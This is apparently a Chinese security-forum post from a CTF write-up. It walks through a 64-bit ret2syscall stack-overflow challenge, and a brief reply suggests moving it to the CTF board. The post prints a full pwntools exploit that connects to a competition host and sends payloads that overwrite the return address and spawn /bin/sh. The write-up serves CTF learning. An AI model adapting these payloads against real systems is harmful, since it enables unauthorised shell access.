首页
社区
课程
招聘
[分享]ret2syscall64位栈溢出漏洞CTF
发表于: 2023-12-7 16:48 3829

[分享]ret2syscall64位栈溢出漏洞CTF

2023-12-7 16:48
3829

今天来看一道RET2SYSCALL64位的栈溢出程序
图片描述
图片描述
明显没有后面函数没有/bin/sh等
所以需要自己构造
图片描述
有栈溢出漏洞
图片描述
有一个输入的全局变量,考虑直接将/bin/sh输入进全局变量中
此程序没有使用plt,got表等libc,所以不能采用泄漏libc的方法来做
但是看到read write等函数调用了syscall系统调用,所以可以考虑采取retsyscall的方法。此程序为64位程序。
所以查询调用表
图片描述
rax=0X3B调用,然后该程序没有pop rax,所以不能考虑栈溢出来控制rax的值。但是_read函数的返回值是输入的字节返回给RAX以此来控制rax的值。
rdi为第一传参器。所以考虑将str构造的/bin/sh赋给rdi
故可以有一下exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
from LibcSearcher import LibcSearcher
sh=remote("1.container.jingsai.apicon.cn",30296)
sh=process("/home/xinhu/1/vuln")
context(os='linux', arch='amd64', log_level='debug')
# gdb.attach(sh)
pop=0x401197
str=0x4040b3
payload1=b'1'*40+p64(pop)+p64(0x404081)+p64(0x404081)+p64(str)
payload2=b'\x00'*52+b'/bin/sh'
sh.sendline(payload1)
sh.recvuntil("Anything else?\n>")
# sleep(6)
sh.send(payload2)
sh.interactive()

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 0
支持
分享
最新回复 (1)
雪    币: 15565
活跃值: (16922)
能力值: (RANK:730 )
在线值:
发帖
回帖
粉丝
2
建议发到CTF板块
2023-12-11 09:24
0
游客
登录 | 注册 方可回帖
返回
//